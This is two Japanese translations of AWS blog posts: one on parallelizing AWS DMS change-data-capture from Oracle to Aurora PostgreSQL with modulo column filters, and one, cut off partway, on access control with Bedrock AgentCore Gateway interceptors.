本投稿は、Vanshika Nigam による記事 「 Improve AWS DMS continuous replication performance by using column filters to parallelize high-volume tables 」を翻訳したものです。 データベースの移行は難しく、特に、数十億件のエントリーを持つ巨大なテーブルで、頻繁に更新が行われる場合は尚更です。 AWS Database Migration Service (AWS DMS) は、 並列ロード や フィルタリング機能 など、初期の一括データ転送プロセスを大幅に加速できる便利な機能を提供しています。 しかし、ソースデータベースで急速かつ継続的な変更が行われる高頻度の変更データキャプチャ (CDC) シナリオでは、特定の課題が残っています。 このようなシナリオでは、ターゲットデータベースは次のような課題に頻繁に直面します。 高レイテンシー – CDC プロセスが変更のペースに追いつけない可能性があります。大量の継続的な変更により、ソースとターゲットのデータベース間で大幅な遅延が生じ、CDC のパフォーマンスに影響を与える可能性があります。 データ損失のリスク – Oracle などのデータベースでは、AWS DMS が処理する前に、redo ログやアーカイブログが消去される可能性があり、データ損失につながる恐れがあります。 保持期間の制限 – ストレージの制約や組織のポリシーにより、保持期間を延長することが常に可能というわけではありません。 リソースの負荷 – 高頻度の CDC により、ターゲットデータベースと AWS DMS レプリケーションインスタンスの両方に負荷がかかり、レイテンシーの増加、スループットの低下、リソース消費の増加につながる可能性があります。 これらの課題に対処するには、通常、 適切なサイズのレプリケーションインスタンスを選択する 、 タスクの並列化 、 AWS DMS のバッチ適用機能を使用する 、AWS DMS タスク設定を最適化する、効率的なフィルタリング、そして時には独自のソリューションなど、多面的なアプローチが必要になります。 リレーショナルデータベースのターゲットでは、フルロード並列設定とは異なり、パフォーマンス向上のための並列 CDC スレッドを使用するオプションはありません。各タスクは単一のスレッドを使用します。AWS DMS の CDC を含むタスクが数百万の変更イベントを適用する必要がある場合は、論理的に独立したテーブルグループに対して複数の CDC タスクを使用することをお勧めします。これにより、複数の CDC スレッドを使用できます。さらに、適切なカラムフィルターを使用して、大規模なテーブルを複数の CDC タスクに分割することもできます。 この投稿では、CDC フェーズでアクティビティの多いテーブルを複数のタスクに分割するために 列フィルター を使用する方法について説明します。 この手法により、移行プロセスを加速し、ターゲットのレイテンシーを削減できます。 ソリューションの概要 AWS DMS の タスク は移行プロセスの中心となるものです。 テーブルマッピング を通じて、移行対象の特定のテーブル、ビュー、スキーマを定義します。 このマッピングには、フィルタリング機能があり、 WHERE 句を適用することで、行数を制限したり、大きなテーブルを管理可能な小さなセグメントに分割することができます。 この機能は従来、フルロード操作に適用されてきましたが、このソリューションでは、CDC タスクの最適化における可能性を探ります。 この投稿では、Oracle から PostgreSQL への移行にこのソリューションを実装します。 同じアプローチを他のリレーショナルデータベース間の移行にも適用できます。 このソリューションを実装する手順は次のとおりです。 Oracle データベースにサンプルテーブルを作成し (この投稿では、 Amazon RDS for Oracle を使用)、代表的なデータを入力します。 データベースとテーブルレベルでサプリメンタルロギングを確認して有効化します。 行をタスク間で均等に分散するのに適した不変カラムを特定します。不変カラムの詳細については、次のセクションを参照してください。そのような列が存在しない場合は、次の手順を実行します。そうでない場合は、ステップ 4 に進んでください。 一時的な不変カラムを NUMBER(1) データ型で追加します。 既存のデータについては、主キーに対する剰余演算を使用して、新しく作成した不変カラムに値を入力します。この投稿では、 3 で割った剰余を使用する例を示します。この操作により、データが 3 つの異なるグループに効果的に分割され、各グループは主キーを 3 で割った剰余で識別されます。 新しい不変カラムに対してサプリメンタルロギングを有効化します。 新規挿入時に自動的に剰余列を入力するトリガーを作成します。 剰余演算の結果に基づいて、列フィルターを使用して複数の AWS DMS タスクを作成します。これらは、要件に応じて、フルロードと CDC タスクまたは CDC のみのタスクのいずれかになります。この投稿では、3 で割った剰余に合わせて CDC のみの 3 つのタスクを作成します。 移行中にターゲットで一時的な不変カラムを除外するために、AWS DMS タスクに除外列フィルターを追加することを忘れないでください。 選択したターゲットデータベース (この投稿では、 Amazon Aurora PostgreSQL 互換エディション をデータベースとして使用) に移行したデータを検証します。 Amazon CloudWatch を使用して AWS DMS タスクのパフォーマンスを監視します。 次の図は、このソリューションのアーキテクチャを示しています。 データベースのイミュータブルカラムの特定方法 イミュータブルカラムとは、一度設定された値を変更できないカラムのことです。ミュータブルカラムとは、初期挿入後に値を変更できるカラムのことです。 主キーは不変ですが、各行に固有のものです。しかし、私たちの焦点は、複数の行で同じ値を持つ可能性のある不変のカラムを特定することです。これにより、データの分割が均等になり、AWS DMS タスク間で負荷が可能な限り均等に分散されます。例としては、作成タイムスタンプ、カテゴリコード、エリアコード、部門識別子などが挙げられます。このようなカラムを使用することで、データをより均等に分割でき、効率的なレプリケーションと、データ整合性の維持が可能になります。 重要なのは、多数のレコードに関連しながらも一定の値を保つカラムを特定し、それをパーティション分割の基準として使うことで、データの均等な分布を実現することです。 前提条件 始めるには、次の前提条件を満たす必要があります。 アクティブな AWS アカウント 。 Oracle インスタンス (この投稿では Amazon RDS for Oracle を使用) または、オンプレミスの Oracle Database。 Aurora PostgreSQL または RDS for PostgreSQL データベース (この投稿では Aurora PostgreSQL 互換を使用)。まだ Aurora PostgreSQL クラスターを持っていない場合、作成します。手順については、 Amazon Aurora DB クラスターの作成 を参照してください。 ソースとターゲットの両方のデータベースにアクセスできる レプリケーションインスタンス 。詳細については、 AWS Database Migration Service の概要 を参照してください。 ソースでサンプルテーブルの構築 この記事では、RDS for Oracle のデータベースを使用して、次の DDL で TRAVEL_INFO という名前のサンプルテーブルを作成します。 テーブル TRAVEL_INFO を作成します: CREATE TABLE travel_info ( travel_id NUMBER PRIMARY KEY, traveler_name VARCHAR2(100), destination VARCHAR2(100), travel_mode VARCHAR2(10), travel_date DATE ); TRAVEL_INFO テーブルに代表的なデータを挿入します: INSERT INTO travel_info (travel_id, traveler_name, destination, travel_mode, travel_date) VALUES (1, 'John Doe', 'Paris', 'air', TO_DATE('2025-02-15', 'YYYY-MM-DD')); INSERT INTO travel_info (travel_id, traveler_name, destination, travel_mode, travel_date) VALUES (2, 'Jane Smith', 'Venice', 'water', TO_DATE('2025-03-20', 'YYYY-MM-DD')); INSERT INTO travel_info (travel_id, traveler_name, destination, travel_mode, travel_date) VALUES (3, 'Mike Johnson', 'Inca Trail', 'land', TO_DATE('2025-04-10', 'YYYY-MM-DD')); INSERT INTO travel_info (travel_id, traveler_name, destination, travel_mode, travel_date) VALUES (4, 'Emily Chen', 'Tokyo', 'land', TO_DATE('2025-05-22', 'YYYY-MM-DD')); INSERT INTO travel_info (travel_id, traveler_name, destination, travel_mode, travel_date) VALUES (5, 'Carlos Rodriguez', 'Amazon River', 'water', TO_DATE('2025-06-15', 'YYYY-MM-DD')); INSERT INTO travel_info (travel_id, traveler_name, destination, travel_mode, travel_date) VALUES (6, 'Sarah Thompson', 'Camino de Santiago', 'air', TO_DATE('2025-07-01', 'YYYY-MM-DD')); INSERT INTO travel_info (travel_id, traveler_name, destination, travel_mode, travel_date) VALUES (7, 'Alex Morgan', 'Great Barrier Reef', 'water', TO_DATE('2025-08-12', 'YYYY-MM-DD')); ソース Oracle データベースのセットアップ 次の手順に従って、ソースの Oracle データベースをセットアップしてください。 AWS DMS では、データベースレベルのサプリメンタルロギングを有効にする必要があります。次のクエリを実行して、データベースレベルのサプリメンタルロギングを確認してください。 SELECT supplemental_log_data_min ,supplemental_log_data_pk ,supplemental_log_data_fk ,supplemental_log_data_ui ,supplemental_log_data_all FROM v$database ; 最小限のサプリメンタルロギング (supplemental_log_data_min) が NO の場合は、次のクエリを実行して有効にしてください。 EXEC rdsadmin.rdsadmin_util.alter_supplemental_logging('ADD'); CDC でレプリケーションされるスキーマのテーブルについて、テーブルレベルのサプリメンタルロギングが有効になっているかを確認してください。 SELECT owner ,log_group_name ,table_name ,DECODE(ALWAYS,'ALWAYS', 'Unconditional','CONDITIONAL', 'Conditional') always ,log_group_type FROM dba_log_groups WHERE owner IN UPPER(''); プライマリキーを持つテーブルについては、次のクエリを実行するか、後述の AWS DMS エンドポイント設定で追加の接続属性を追加して、サプリメンタルロギングを有効にしてください。 ALTER TABLE "VANSHIKA"."TRAVEL_INFO" ADD SUPPLEMENTAL LOG DATA (PRIMARY KEY) COLUMNS ; この例で使用するテーブルには不変カラムがありません。そのため、AWS DMS タスクで WHERE 句を使用するための一時的な不変カラムを追加します。 ALTER TABLE travel_info ADD mod_3 NUMBER(1); この新しい列にプライマリキーの剰余演算の結果を設定するため、テーブルを更新します。 UPDATE travel_info SET mod_3 = MOD(travel_id, 3); 新しい列に値が正しく設定されたことを確認するため、テーブルを問い合わせます。 SELECT * from travel_info ; この新しい列にサプリメンタルロギングを追加します。サプリメンタルロギングが有効になっていない場合、AWS DMS タスクは失敗します。 ALTER TABLE "VANSHIKA"."TRAVEL_INFO" add SUPPLEMENTAL LOG GROUP LogGroupTest (MOD_3) ALWAYS ; 新しい行が挿入されるたびに剰余演算の列を設定するトリガーを作成します。 CREATE OR REPLACE TRIGGER trg_travel_info_mod3 BEFORE INSERT OR UPDATE OF travel_id ON travel_info FOR EACH ROW BEGIN :NEW.mod_3 := MOD(:NEW.travel_id, 3); END ; / サンプルテーブルのターゲットへの構築 この投稿では、 travel_id カラムの Oracle データ型 NUMBER を PostgreSQL のデータ型 INTEGER にマッピングしました。これは、ターゲットで正しい精度を維持するためです。Oracle の NUMBER カラムから PostgreSQL の理想的なデータ型カラムへの正確なデータ型マッピングを行うには、 Oracle の NUMBER データ型を PostgreSQL に変換する を参照してください。 ターゲットでテーブル構造を作成するには、次のクエリを実行します。ソースで作成した mod_3 カラムは含まれていないことに注意してください。 create table if not exists vanshika.travel_info ( travel_id integer not null, traveler_name character varying(100), destination character varying(100), travel_mode character varying(10), travel_date timestamp without time zone, constraint travel_info_pkey primary key (travel_id) ); ターゲットにテーブルが存在しない場合、AWS DMS は AWS DMS タスクで選択されたテーブル準備モード に関係なく、ターゲットにテーブルを作成します。この場合、DMS が余分な不要カラム ( mod_3 カラムなど) を含むテーブルを作成してしまうことに注意が必要です。 AWS DMS を使用したデータ移行 このセクションでは、データを移行する手順を説明します。 AWS DMS エンドポイントの作成 ソースとターゲットのデータベースに対して AWS DMS エンドポイントを作成 します。AWS DMS エンドポイントは、データストアへの接続情報、データストアの種類、場所を提供します。 Oracle ソースエンドポイントを作成する手順については、 AWS DMS での Oracle データベースのソース利用 を参照してください。 デフォルトの接続設定に加えて、オプションで AddSupplementalLogging=true エンドポイント設定を追加すると、この投稿の前半で説明したクエリを実行してサプリメンタルロギングを明示的に追加していない場合に、AWS DMS が Oracle データベースにテーブルレベルの サプリメンタルロギング を設定します。 PostgreSQL ターゲットエンドポイントを作成する手順については、 AWS Database Migration Service のターゲットとして PostgreSQL データベースを使用する を参照してください。 AWS DMS タスクの作成 最初に RDS for Oracle から Aurora PostgreSQL 互換データベースへの別個のフルロードタスクを使用して、初期データ移行を実行したことに注意してください。フルロードが完了した後、このブログの ソース Oracle データベースのセットアップ セクションで説明されているように、フィルタリングに使用する新しい列をソースに追加しました。 次のステップとして、フィルターとして mod_3 を使用してテーブルを 3 つのタスクに分割します。以下の JSON は、AWS DMS タスクのマッピングルールの例を示しています。剰余列をターゲットから除外するために、 remove-column フィルターを追加することを忘れずに、3 つの別々の CDC タスクを作成してください。 レプリケーションタスクには、次の設定を使用してください: タスク識別子 には、識別可能な名前を入力してください。 ソースデータベースエンドポイント では、作成した Oracle エンドポイントを選択してください。 ターゲットデータベースエンドポイント では、作成した Aurora PostgreSQL エンドポイントを選択してください。 タスクモード では、[プロビジョンド] を選択してください。 レプリケーションインスタンス では、作成したプロビジョンドインスタンスを選択してください。 レプリケーションタイプを [ 複製のみ ] に設定してください。 ターゲットテーブル準備モードを [ 何もしない ] に設定してください。 タスク設定の下で[ CloudWatch ログ をオンにする] を有効にすると、問題をデバッグすることができます。 テーブルマッピング では、 編集モード で  JSON エディタ を選択してください。 DMS タスクのマッピングルールには、次の JSON を使用してください。スキーマ名は、テーブルが作成されたスキーマ名に置き換えてください。 { "rules": [ { "rule-type": "transformation", "rule-id": "259824354", "rule-name": "259824354", "rule-target": "column", "object-locator": { "schema-name": "VANSHIKA", "table-name": "TRAVEL_INFO", "column-name": "MOD_3" }, "rule-action": "remove-column", "value": null, "old-value": null }, { "rule-type": "transformation", "rule-id": "259793105", "rule-name": "259793105", "rule-target": "table", "object-locator": { "schema-name": "VANSHIKA", "table-name": "TRAVEL_INFO" }, "rule-action": "convert-lowercase", "value": null, "old-value": null }, { "rule-type": "transformation", "rule-id": "259761426", "rule-name": "259761426", "rule-target": "schema", "object-locator": { "schema-name": "VANSHIKA" }, "rule-action": "convert-lowercase", "value": null, "old-value": null }, { "rule-type": "selection", "rule-id": "259627857", "rule-name": "259627857", "object-locator": { "schema-name": "VANSHIKA", "table-name": "TRAVEL_INFO" }, "rule-action": "include", "filters": [ { "filter-type": "source", "column-name": "MOD_3", "filter-conditions": [ { "filter-operator": "eq", "value": "0" } ] } ] } ] 移行前評価チェックボックスをオフにしてください。 移行タスクのスタートアップ設定 では、[後で手動で行う] を選択してください。 他の設定はデフォルトのままにして、[ タスクを作成 ] を選択してください。 同じ設定で他の 2 つのタスク を作成してください。各タスクで、 mod_3 カラムの filter-conditions 値を 0、1、2 に置き換えることを忘れずに行ってください。 3 つのタスクを同時に実行してください。 Aurora PostgreSQL に移行されたデータを select クエリを実行して確認してください。 ソースデータベースで DML 操作を実行し、これらの変更がターゲットテーブルにどのように反映されるか、そして DMS タスクが剰余フィルターに対応する行をどのようにピックアップするかを監視してください。 個々のタスクは自身のトランザクションの順序性を維持していますが、3 つのタスク全体でのトランザクションの順序が必ずしも保たれるわけではないことに注意が必要です。この順序の不整合は、タスクの開始と実行が独立していることに起因します。したがって、ターゲットテーブルに現れるトランザクションの最終的な順序は、同じソーステーブルに関係するものであっても、各 CDC のみタスクの開始タイミングの影響を受ける可能性があります。 Oracle から移行する際は、 Oracle マテリアライズドビュー を活用して、選択したカラムに基づいてフィルタリングされたマテリアライズドビューを作成し、必要なデータサブセットのみを PostgreSQL に移行することができます。データ変換には便利ですが、マテリアライズドビューではソース側で更新のオーバーヘッドが発生し、移行のパフォーマンスに影響を与える可能性があります。 可変カラムを使用してテーブルを分割した場合の観察 既存の travel_mode カラムを AWS DMS タスクのフィルターとして使用する代わりに、テーブルに不変カラムを導入するとします。この場合でも、陸路、空路、水路の移動手段に対応する 3 つの CDC タスクを作成することになります。 このシナリオをテストするには、 travel_mode 列のサプリメンタルロギングを有効にする必要があります。これは、次の SQL コマンドを使用して行えます。 ALTER TABLE "VANSHIKA"."TRAVEL_INFO" add SUPPLEMENTAL LOG GROUP LogGroupTest (TRAVEL_MODE) ALWAYS ; タスクをセットアップした後、タスクを開始し、ソースでフィルターに使用されているカラムを更新してみてください。 UPDATE travel_info SET travel_mode = 'land' WHERE travel_id = 1 ; AWS DMS がこの変更を検出できないことがわかります。その結果、更新がターゲットデータベース (この場合は Aurora PostgreSQL 互換) に伝播されません。このカラムの更新は頻繁ではないかもしれませんが、発生した更新はすべて見落とされます。この動作は予期されたものですが、データの不整合につながる可能性があります。 したがって、効果的なデータレプリケーションを行うには、作成後に変更されない不変な列にフィルターを適用することが重要です。 パフォーマンス比較 この投稿では、ビジーなテーブルに対する大量の CDC シナリオにおける AWS DMS のパフォーマンスを評価します。AWS DMS は、Oracle をソースとする CDC 操作中のRedo ログの読み取りに、Oracle LogMiner と AWS DMS Binary Reader の 2 つのアプローチを提供しています。この実験では、LogMiner (オンラインおよびアーカイブされた Redo ログファイルを読み取るために設計された Oracle API) を使用することにしました。このソリューションは Binary Reader とも互換性があります。テストプロセスは 2 つの異なるフェーズに分かれていました。最初に単一の CDC タスクを評価し、次にカラムフィルターを使用して複数の CDC タスクに分割しました。 次のインフラストラクチャを使用しました。 ソース: RDS for Oracle インスタンス インスタンスクラス: db.r6i.xlarge ストレージ: 50 GB (3000 IOPS の gp3) Oracle バージョン: 19 (19.0.0.0.ru-2024-10.rur-2024-10.r1) ターゲット: Aurora PostgreSQL 互換エディション インスタンスクラス: db.r6i.xlarge Aurora PostgreSQL 互換エディションのバージョン: 16.1 AWS DMS レプリケーションインスタンス インスタンスクラス: dms.c5.xlarge 割り当てられたストレージ: 50 GB エンジンバージョン: 3.5.4 50 カラムと 20 インデックスを持つサンプルテーブルを作成しました。このテーブルには、ソースとターゲットの両側で最初に 50,000 行のデータが格納されました。次に、進行中の変更を複製するための単一の CDC のみのタスクを設定しました。負荷の高い本番環境をシミュレートするために、一連の DML 操作を実行しました。100 万件の新規レコードを挿入し、同時に 10 万件の既存レコードを更新し、その後 10 万件の更新スクリプトを 2 回実行し、最後にランダムに選択された 10,000 件のレコードに対して CDC トラフィックを生成しました。このテストにより、テーブルに急激で大規模な変更が加えられるシナリオを模倣することができました。この一連のプロセスにより、1 時間の期間で約 5GB のアーカイブログが生成されました。ソースデータベースでの変更率が高いため、このプロセスには時間がかかる可能性があります。AWS DMS がソースデータベースから大量のワークロードを受信すると、CDC ターゲットレイテンシーメトリクスが急上昇することがあります。私たちのテストシナリオでは、激しい活動期間中に CDC の待ち時間がピーク時で約 600 秒に達していることが、次のスクリーンショットに示されています。 この最初のテストでは、単一の CDC タスクを使用する場合の、高ボリューム、高頻度変更シナリオにおけるパフォーマンスへの影響の可能性が浮き彫りになりました。これにより、カラムフィルターを使ってタスクを分割し、ワークロードを分散してレイテンシーを低減することを目的とした後続の実験の舞台が整いました。次のグラフは、単一の CDC タスクと同じワークロードを 3 つの CDC のみタスクに分割した場合のターゲットレイテンシーを示しています。 結果は、ターゲットでのレイテンシが低減されたことを示しています。この改善は、移行プロセスが高速化したことを示しています。従来の CDC は単一スレッド操作でしたが、今回は CDC フェーズで複数のスレッドを作成し、ソースからターゲットへのデータ移行を行えるようになったためです。 実験で使用したデータ量は実際のシナリオを代表するものではないかもしれませんが、CDC 操作でカラムフィルターを使用することのメリットを効果的に示しています。 具体的には、移行プロセスを加速できることを示しており、これは大量のデータ移行には不可欠です。 考慮事項 このアプローチを実装する際には、次の重要な点に留意する必要があります。 新しいカラムを追加するオーバーヘッド – 既存のテーブル構造に適切な不変カラムが見つからない場合、この目的のために新しいカラムを追加すると、いくらかのオーバーヘッドが発生する可能性があります。この変更はデータベーススキーマに影響を与え、特にコードが全テーブルをフェッチする場合は、アプリケーションロジックの変更が必要になる可能性があります。クエリでこの新しいカラムのフィルタリングを実装する必要があり、クライアントアプリケーションに影響を与える可能性があります。進める場合は、運用への影響を最小限に抑えるため、指定のメンテナンスウィンドウ中にこれらの変更をスケジュールしてください。 ソースレイテンシーの潜在的な増加 – 同時スレッド数が増えると、ソースレイテンシーの増加が観測される可能性があります。これは、複数の並列読み取り操作によってソースシステムに追加の負荷がかかるためです。 レプリケーションインスタンスの適切なサイジング – AWS DMS レプリケーションインスタンスが、インスタンスクラスとストレージ容量の点で適切にサイズ設定されていることを確認してください。各タスクは、ソースデータベースからすべての REDO ログを読み取り、適用できるまでそれらを格納する必要があるため、十分なリソースが不可欠です。 バランスの取れた負荷分散 – タスク分割のためのカラムを選択する際は、作成するタスク間で作業負荷をできるだけ均等に分散するものを選んでください。この均等な分散は、CDC フェーズ中の並列処理による効率化の利点を最大限に活かすための鍵となります。 これらの点を慎重に検討することで、大規模な移行シナリオに対しても、潜在的な問題や予期しない副作用を最小限に抑えるような最適な AWS DMS を構築することができます。 クリーンアップ この設計で作成したリソースで不要になったものは、料金が発生しないように削除してください: Aurora PostgreSQL クラスターを削除します 。 RDS for Oracle データベースを削除します 。 AWS DMS レプリケーションインスタンス、ソースとターゲットのエンドポイント、タスクを削除します 。 この実験を既存のデータベースで実施し、運用を続ける予定の場合は、実験が完了したら、ソースとターゲットの両方のデータベースからテストテーブルを明示的に削除してください。 結論 この投稿では、不変のカラムに基づいて複数の CDC タスクにワークロードを分散し、DMS カラムフィルターを使用して大規模で頻繁に使用されるアクティブテーブルを移行する方法を示しました。 この手法を活用することで、データの整合性を維持しながら移行時間を短縮できることを示しました。 この戦略は、フルロードと CDC プロセスの両方を最適化するため、同様の制約に直面する様々な大規模移行に適用できます。 AWS DMS とその機能の詳細については、 AWS DMS ドキュメント を参照してください。AWS DMS フルロード移行のパフォーマンスを改善するためのベストプラクティスについては、 並列読み込みとフィルターオプションを使用して AWS DMS によるデータベース移行を高速化する を参照してください。 著者について Vanshika Nigam Vanshika は、AWS Database Migration Accelerator （DMA）チームのソリューションアーキテクトです。Amazon DMA Advisor として、お客様がオンプレミスデータベースや商用データベースからAWSクラウドデータベースソリューションへの移行を加速できるよう支援しています。Amazon RDS と AWS DMS で 7 年以上の経験を持つ彼女は、効率的なデータベース移行戦略の設計と実装を専門としています。

本記事は 2025 年 11 月 26 日に公開された AWS Blog “ Apply fine-grained access control with Bedrock AgentCore Gateway interceptors ” を翻訳したものです。 企業は AI エージェントを急速に採用してワークフローを自動化し生産性を向上させる中で、重大な課題に直面しています。それは、組織全体で数千のツールへの安全なアクセスを管理することです。現代の AI アプリケーションは、もはや少数のエージェントが数個の API を呼び出すだけのものではありません。企業は統合 AI プラットフォームを構築しており、そこでは数百のエージェント、コンシューマー AI アプリケーション、自動化されたワークフローが、異なるチーム、組織、事業部門にまたがる数千の Model Context Protocol (MCP) ツールにアクセスする必要があります。 この規模の拡大により、セキュリティとガバナンスに関する根本的な問題が発生します。AI エージェント、ユーザー、アプリケーションなど、各呼び出し元が許可されたツールのみにアクセスできるようにするにはどうすればよいでしょうか？ユーザー ID、エージェントのコンテキスト、アクセスされたチャネル、常に変化しうる権限に基づいて、ツールへのアクセスを動的にフィルタリングするにはどうすればよいでしょうか？エージェントからツール、下流の API へと続くマルチホップのワークフローを通じて、機密データを保護するにはどうすればよいでしょうか？そして、パフォーマンスを犠牲にしたり、運用上のボトルネックを作ったり、テナントやユースケースごとに個別の MCP サーバーインスタンスを強制したりすることなく、これらすべてを実現するにはどうすればよいでしょうか？ これらの課題に対応するため、 Amazon Bedrock AgentCore Gateway  はゲートウェイインターセプターという新機能の提供を開始しました。この強力な新機能により、きめ細かなセキュリティ、動的なアクセス制御、柔軟なスキーマ管理が可能になります。 きめ細かなツールアクセス制御 エンタープライズのお客様は、統一された AgentCore Gateway を通じて数千もの MCP ツールをデプロイしています。この単一のゲートウェイを使い、異なるチーム、組織、コンシューマー AI アプリケーション、AI エージェントがツールにアクセスします。各ツールには、呼び出し元のプリンシパルに応じたアクセス権限が割り当てられています。ここでの課題は、プリンシパルの権限に基づいて MCP ツールへのアクセスを保護し、AgentCore Gateway への ListTools、InvokeTool、Search API の呼び出しに対して、コンテキストに応じたレスポンスを返すことです。 ツールのフィルタリングは、エージェント ID、ユーザー ID、実行コンテキストなど、複数の動的な要因に基づいて行う必要があります。権限は、ユーザーコンテキスト、ユーザーがエージェントにアクセスするチャネル、ワークスペースのアクセスレベル、その他のコンテキスト属性に基づいて動的に変化する可能性があります。そのため、古い権限状態をキャッシュすることなく、権限の変更が即座にツールの利用可否に反映されるセキュリティを考慮したフィルタリングが求められます。 以下の図は、ユーザーに基づくツールフィルタリングの例です。ゲートウェイがユーザー情報とコンテキストを評価し、許可されたツールを返すまでの流れを示しています。 MCP と下流の API 間でのデータ保護とスキーマ変換 AI エージェントと下流の API 間の連携を管理しながら、セキュリティと柔軟性を維持することは複雑な課題です。組織は、MCP リクエストスキーマを下流の API スキーマに動的にマッピングする必要があります。この動的マッピングにより、ユーザーがプロンプトで送信する可能性のある個人識別情報 (PII) や機密個人情報 (SPI) を削除・除外するなど、重要なデータ保護機能を実現できます。これにより、API 呼び出しで不要な機密情報が下流の API に漏洩するのを防げます。 さらに、お客様はスキーマ変換機能を必要としています。これにより、API の仕様変更に対応しながら MCP スキーマを維持し、下流の実装から独立させることが可能になります。このような疎結合の構成であれば、AI エージェントとツール間の連携を壊すことなく、API の改良とバージョン管理を円滑に進めることができます。そのため、バックエンドチームは、エージェント層への変更を強制したり、特定のツールスキーマを学習した AI モデルの再学習を依頼したりする必要はありません。API 実装の修正、フィールド名の変更、ペイロード構造の再構成、認証要件の更新といった変更を自由に実施できます。 マルチテナント SaaS におけるテナント分離 エージェントやツールをサービスとして提供する組織には、複雑なマルチテナンシー要件があります。お客様は、適切なテナント分離を維持しながら、すべてのユーザーに対して MCP サーバーを提供する必要があります。これには、テナント ID とユーザー ID の両方の検証が必要です。マルチテナント MCP サーバーアーキテクチャでは、異なるユーザーとワークスペースが完全に隔離された状態を保つ必要があり、ツールアクセスはテナント境界に基づいて厳密に制御する必要があります。この課題には、テナントごとに個別のゲートウェイが必要なのか、適切な分離保証があれば単一のゲートウェイでマルチテナントシナリオを安全に処理できるのかを判断することも含まれます。 ツールの動的なフィルタリング お客様は、権限やユーザーコンテキストの変更に応じた、リアルタイムのツールのフィルタリングも必要としています。組織には、ツールを 2 段階でフィルタリングできる統合 MCP サーバーが必要です。まずエージェントの権限とワークスペースのコンテキストでフィルタリングし、次にセマンティック検索でフィルタリングします。権限はいつでも変更される可能性があるため、フィルタリング結果をキャッシュせず、都度動的に判定することが重要です。 カスタムヘッダーの伝播とアイデンティティコンテキストの管理 AI エージェントは、自律的で非決定論的である点において、従来のマイクロサービスとは根本的に異なります。サービス間の信頼と認可技術に依存する従来のマイクロサービス間認可アプローチとは異なり、AI エージェントはエンドユーザーに代わってワークフローを実行し、ユーザーのコンテキストに基づいて、下流のツール、API、リソースにアクセスする必要があります。しかし、認可トークンをそのまま下流のサービスに送信すると、認証情報の盗難、権限昇格、より権限の高いサービスが権限の低い攻撃者に代わって操作を実行するよう騙される「混乱した代理問題」(Confused deputy problem) など、重大なセキュリティ脆弱性が生じます。 権限伝播方式の比較: なりすまし / 代理実行 マルチホップのワークフロー (エージェントからエージェント、ツール、API へと続く流れ）を通じて、アイデンティティのコンテキスト (権限) をどのように伝播させるかは、重要なセキュリティ上の決定事項です。伝播方法には、なりすまし (Impersonation) 方式と、代理実行 (Act-on-Behalf) 方式があります。 なりすまし方式では、元のユーザーの JWT トークンが多段実行の各ホップを通じて変更されずに渡されます。実装は簡単ですが、以下のような重大なセキュリティリスクが伴うため、推奨されません。 下流のサービスが必要以上の権限を持つトークンを受け取る コンポーネントが侵害された場合、権限昇格のリスクが高まる トークンのスコープを特定の下流のターゲットに制限できない なりすまし攻撃 (侵害されたサービスが過剰な権限を持つトークンを悪用) に対して脆弱 代理実行方式では、ワークフローの各ホップが、下流のターゲット専用に発行された個別のスコープ付きトークンを受け取ります。実行コンテキストの伝播には JWT が使用されます。この方式は、以下のメリットがあるため推奨されます。 最小権限の原則 – 各サービスは、特定の下流の API にアクセスするために必要な権限のみを受け取る 影響範囲の制限 – 漏洩したトークンのスコープは制限され、他の場所で再利用することはできない 監査性の向上 – AgentCore Observability を使用して、どのサービスがユーザーに代わって行動したかを示す明確な責任の追跡が表示される トークンスコープの制限 – 各下流のターゲットは、その API に特化したスコープのトークンまたは認証情報を受け取る セキュリティ境界 – コールチェーン内の異なるサービス間で適切な分離が強制される 混乱した代理 (Confused Deputy) の防止 – スコープが制限されたトークンと認証情報により、サービスが不正な操作を実行するよう騙されることを防げる 代理実行方式では、ゲートウェイは受信リクエストから実行コンテキストを抽出し、各下流のターゲットに対して新しいスコープ付き認可トークンを生成します。モニタリングと認可の判断のために、ユーザーの ID コンテキストを維持しながら適切なヘッダーを挿入します。これは、必要以上の権限を持つ認証情報を下流のサービスに公開せずに実現されます。このセキュアなアプローチにより、AI エージェントはユーザーに代わってワークフローを実行でき、多段実行の各ホップで厳格なセキュリティ境界を維持できます。 次の図は、なりすまし方式と代理実行方式のワークフローを比較しています。 なりすまし方式 (図上部) では、エージェントがユーザー A の完全な ID トークン ( "order: read, promotions:write"  スコープすべて) を変更せずに両方のツールに渡します。このため、各ツールは必要以上の権限を受け取ります。一方、代理実行方式 (図下部) では、エージェントが各ツール用に個別のスコープ付きトークンを作成します。Order ツールは "order: read" スコープのみを受け取り、Promotions ツールは "promotions:write" スコープのみを受け取ります。各トークンには "Act: Agent" フィールドが含間れており、エージェントがユーザー A の代理として行動していることを明示し、責任の追跡を明確にします。このように、最小権限の原則に基づいて各下流のサービスに必要な権限のみを付与することで、セキュリティリスクを軽減し、トークンの誤用を防止できます。 AgentCore Gateway: AI エージェントのための MCP のセキュアな統合 AgentCore Gateway は、既存の API や  AWS Lambda 関数をエージェント互換の MCP ツールに変換します。また、ゲートウェイを既存の MCP サーバーに接続することも、サードパーティのビジネスツールやサービス (Jira、Asana、Zendesk など) とシームレスに統合することもできます。この統一されたアクセスポイントにより、エンタープライズシステム全体で安全に MCP を統合できます。さらに、AgentCore Identity を使用することで、エージェントは OAuth 標準を使用した適切な認証と認可により、これらのツールに安全にアクセスできます。 AgentCore Gateway のゲートウェイインターセプターの導入により、2 つのカスタム Lambda 関数を通じて、きめ細かなアクセス制御と認証情報管理を実装できるようになりました。 ゲートウェイリクエストインターセプター – ターゲットツールに到達する前に受信リクエストを処理します。 ユーザー認証情報、セッションコンテキスト、組織のポリシーに基づくアクセス制御、監査証跡の作成、スキーマ変換などが可能です。 ゲートウェイレスポンスインターセプター – 呼び出し元のエージェントに返される前に送信レスポンスを処理します。 監査証跡の作成、ツールのフィルタリング、スキーマ変換、検索およびリストツールのアクセス制御が可能です。 次の図は、ゲートウェイインターセプターを介したリクエスト・レスポンスのフローを示しています。 リクエスト・レスポンスサイクルの各段階でカスタムインターセプターが受信・送信するペイロードの構造を詳しく見ていきましょう。ゲートウェイリクエストインターセプターは、以下の構造のイベントを受け取ります。 {   "interceptorInputVersion": "1.0",   "mcp": {     "gatewayRequest": {         "headers": { "Authorization": "Bearer eyJhbG...", ... },         "body": { "jsonrpc": "2.0", "method": "tools/list", ... }     },     "requestContext": { ... }   } } ゲートウェイリクエストインターセプター Lambda 関数は、 transformedGatewayRequest フィールドを含むレスポンスを返す必要があります。 {   "interceptorOutputVersion": "1.0",   "mcp": {     "transformedGatewayRequest": {  // <-- 